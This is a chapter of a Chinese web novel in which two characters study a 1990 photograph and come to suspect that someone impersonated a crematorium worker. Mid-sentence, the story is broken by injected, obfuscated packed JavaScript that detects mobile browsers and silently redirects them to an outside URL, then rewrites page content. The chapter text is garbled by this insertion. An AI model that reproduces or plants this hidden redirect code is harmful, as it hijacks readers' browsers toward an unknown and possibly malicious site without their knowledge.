27.照片
作品:《在恐怖副本捡垃圾》 程砚生没反应过来,“啊?什么?”
江封晏正要继续说话,被几个跨步迈进屋的沈清涿捂住了嘴,“你刚才不说饿了吗?走吧,边吃边说。”
然后问程砚生,“想吃什么?”
说实话,程砚生现在还不饿,他说:“随便什么都行,方便说话就行。”
江封晏咋舌,“那还出去吃什么,就在家里吃好了,我去买菜,你们两个在这等我。”
说完,朝沈清涿眉飞色舞,“是吧哥,都是一家人,就在家里吃,多好。”
沈清涿咬了咬后槽牙,“还不快去?”
“哎呀哎呀。”江封晏阴阳怪气的,“着什么急嘛,你也不用再要强了,因为你的强来了,什么都有了,也不用走了嘛,对不对。”
程砚生没看懂这兄弟俩的暗潮涌动,拿着照片坐在沙发上开始研究起来。
江封晏给他的这张照片也是1990年5月31日拍的,但是这张明显正规不少,几个人肩压着肩站成一排,周绍元的右手搭在旁边的男人肩膀,那条朱红色的手链略显松垮。
他纳闷地“啧”了一声,周绍元还是感觉怪怪的啊。
他把先前那张照片拿了出来,放在一起对比。
“怎么了?是照片有什么问题吗?”
把江封晏那个聒噪的炮灰赶出去,沈清涿一进屋就看见程砚生眉头紧锁,像是遇到了什么难事。
程砚生指着照片里的周绍元,“我认识这个人,但是我又觉得他好像不是我认识的那个人。”
沈清涿今天早上正在休息,一睁眼人就在江封晏家的楼下,正要离开就被刚回家的江封晏堵个正着。
一看见他,江封晏的眼睛都亮了,“哥,你又来拯救我于水深火热了吗?”
两人正在掰扯呢,程砚生来了。
所以沈清涿根本不知道这个世界发生了什么事。
程砚生三言两语把事情交待了一下,他说:“我觉得事情肯定是出在周绍元身上,但又不知道我的依据是什么。”
沈清涿略微思索,他说:“把他叫来一起吃顿饭吧。”
在这个坐公交车都是奢侈的年代,江封晏已经开上了桑塔纳2000,而他本人又是非常骚包的性格。一听沈清涿让他接人,连菜都没拿下车,屁颠屁颠拉上程砚生就走。
周绍元这会儿正要出门,看见程砚生从车上下来,惊讶地瞪大眼睛,“程砚生?你怎么来了?是不是受伤很严重?你等等,我回去拿钱。”
“哎哎,不是。”程砚生赶忙拉住他,“我之前认识的朋友也来这边定居了,听说我新交了好朋友,特意让我来请你去家里吃饭的。”
面对周绍元,程砚生说谎都觉得自己罪大恶极。
周绍元松了口气,“那就好那就好,我还以为医院着急让交费,你赶着回来拿钱。”
车上的江封晏扒拉下鼻梁上架着的墨镜,仔细看着说话的两个人,偷偷拿出来只能当板砖用的手机把这这一幕录了下来。
不是他说,他哥在这个周什么的面前,嫩得像新兵蛋子。
几人到了江家,沈清涿刚烧好水,最后进门的江封晏使劲儿朝他挤着眼睛。
沈清涿心领神会,迎出来的时候一副男主人的架势,看见周绍元,难得露个笑脸,不动声色把对方从头到尾打量了一遍。
到底都是同龄人,尤其是江封晏巧舌如簧,再加上江盛国跟他又是同事,所以几个人很快打成一片。
聊着聊着,沈清涿看了眼周绍元的手链,状似无意问:“手链不错,在哪买的?”
周绍元说:“这是我小时候我奶奶去寺院请的,说是平安符,轻易不让我摘下来,这都小了。”
得到了答案,沈清涿不再接话。
江封晏一边给周绍元倒饮料,一边说:“我总听我爸提起你,他说都是同龄人,你甩我八条街还带拐弯的,我之前还挺不服气的,他一说我就跟他吵架。”
江封晏的厉害之处在于,他奉承人是不动声色的,不会让人觉得不舒服。周绍元听完哈哈笑,“那都是江叔为了激励你说的话。”
寒暄了几句,江封晏话题一转,他幽幽叹了口气,“唉,可惜了。”
他没明说,但是大家都知道他是什么意思。
江封晏拿出来那张泛黄的照片,抚摸着江盛国的脸。周绍元就坐在他身边,甚至不用动就能看见那张照片。
程砚生一直在对面观察着周绍元,他看见在看见照片的时候,周绍元的眉头皱了起来。
“我可以看一下照片吗?”
江封晏把照片递了过去,“我爸说合照的每人都洗了一张,你没有吗?”
周绍元看了很久,犹疑地摇了摇头,“我不记得照过这张照片,而且5月31号我在休假啊。”
江封晏:“那你后面没去上班吗?”
周绍元还是摇头,“我是六月初才去上班的。”
酒足饭饱把人送走。
程砚生见天色不早也要告辞,江封晏看了副驾驶上的沈清涿一眼,眼疾手快锁上了车门,“走什么走,就去我家睡呗,也没有外人在,你跟我哥睡一个屋,我睡江盛国那屋。”
他说完,车里瞬间安静下来。
沈清涿一直用余光瞥着他,恨不得一把把他掐死。
他赶忙找补,“这样你们商量事也方便啊,明天我就要出差了,你俩还能帮我看看家。”
在这个世界,他依然是炮灰,忙碌的炮灰,上面一个电话过来,他就要去帮某总去国外接人的那种。
程砚生略微思考了一下就答应下来。
现在不是矫情的时候,身边有个人,确实商量事情也方便。
晚上洗漱上床,重逢的喜悦早已经被冲淡了。程砚生睡不着,拿着照片反复看,就差把它盯出个窟窿来。
沈清涿说:“有没有一种可能,这俩本来就不是一个人。”
“什么?”
程砚生被这句话从床上炸了起来,实不相瞒,他甚至想过周绍元是精神分裂,都没有往这是两个人的方面想。
“我去周绍元家吃饭的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657048|166711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
候看过他们的全家福,他们就只有这一个孩子,而且这会儿不是正计划生育呢吗?”
他感到无比震惊,既然不是双胞胎,怎么会有两个一模一样的人呢?
沈清涿拿过照片,在一边分析,“你觉不觉得照片上的周绍元笑得太勉强了?”
程砚生又看了一眼,不知道是不是视网膜效应,沈清涿说完,他越看越觉得奇怪。
沈清涿伸手挡住周绍元的上半张脸。
“你觉得这个时候他是什么样的情绪?”
程砚生:“开心。”
沈清涿又遮住他鼻梁往下的部分,只露出一双眼睛,“现在呢。”
乍一看到周绍元的眼神,程砚生的心“咯噔”了一下。
他根本没在笑,这个眼神跟笑容放在一起太割裂了,该怎么形容呢?就是他的嘴在笑,但是眼神在说“我要把你们全杀了”。
“你再看他戴的手链。”沈清涿说:“周绍元的一直是戴在左手的,但是照片上的人戴的是右手,而且他对这张照片根本没有印象。”
想到江盛国划掉的那张考勤表,程砚生觉得细思极恐。
“如果这么说的话,那就是当年有人冒充周绍元去上班了?可是那个人的动机是什么?”
看照片,对方是很了解周绍元的,不然不会模仿得这么像,就连江盛国他们都没有发现对方不是真正的周绍元。
沈清涿“嗯”了一声,“如果能知道当年被烧死的是谁,就知道照片上的人到底是谁了。”
程砚生:“据说被烧死的也是火葬场的员工,具体是谁没人知道,因为根本也没有家属去找。”
线索就算暂时折在死者这了。
程砚生想了想,觉得事情还是要从周绍元身上下手,他说:“周绍元这人我接触了几天,我是真觉得他是很好的人,我还是相信他不会是凶手。”
就像当时他第一次见沈清涿,就觉得这人很可靠。
沈清涿点头,“相信自己的直觉总是没错的。”
程砚生和沈清涿决定分头行动。
沈清涿顺着火葬场这条线摸索,程砚生则是从周绍元的家庭背景下手。
火葬场招聘正好是个好机会,沈清涿从应聘到入职,就只用了一天。
等再上班看见沈清涿的时候,周绍元眼前一亮,似乎很高兴新同事同时也是自己的新朋友。
“晚上去我家吃饭吧,我爸今天钓了条大鱼,念叨着让我带朋友回家吃饭呢。”
看得出来周父是很喜欢钓鱼没错了。
下班之后三人直接去了周家,周父周母一早就在门口等着。
看见程砚生之后,周母拉着程砚生,佯装生气,“怎么这么久没来家里吃饭,是不是嫌弃阿姨做的饭不好吃?”
周父在一边爽朗大笑,“你看你把孩子都吓到了,快去把鱼炖了吧,我馋这口都馋好久了。”
程砚生犹如被人当头打了一棒,冷汗逐渐从后背爬了上来。
如果他没记错的话,这些对话之前已经发生过了。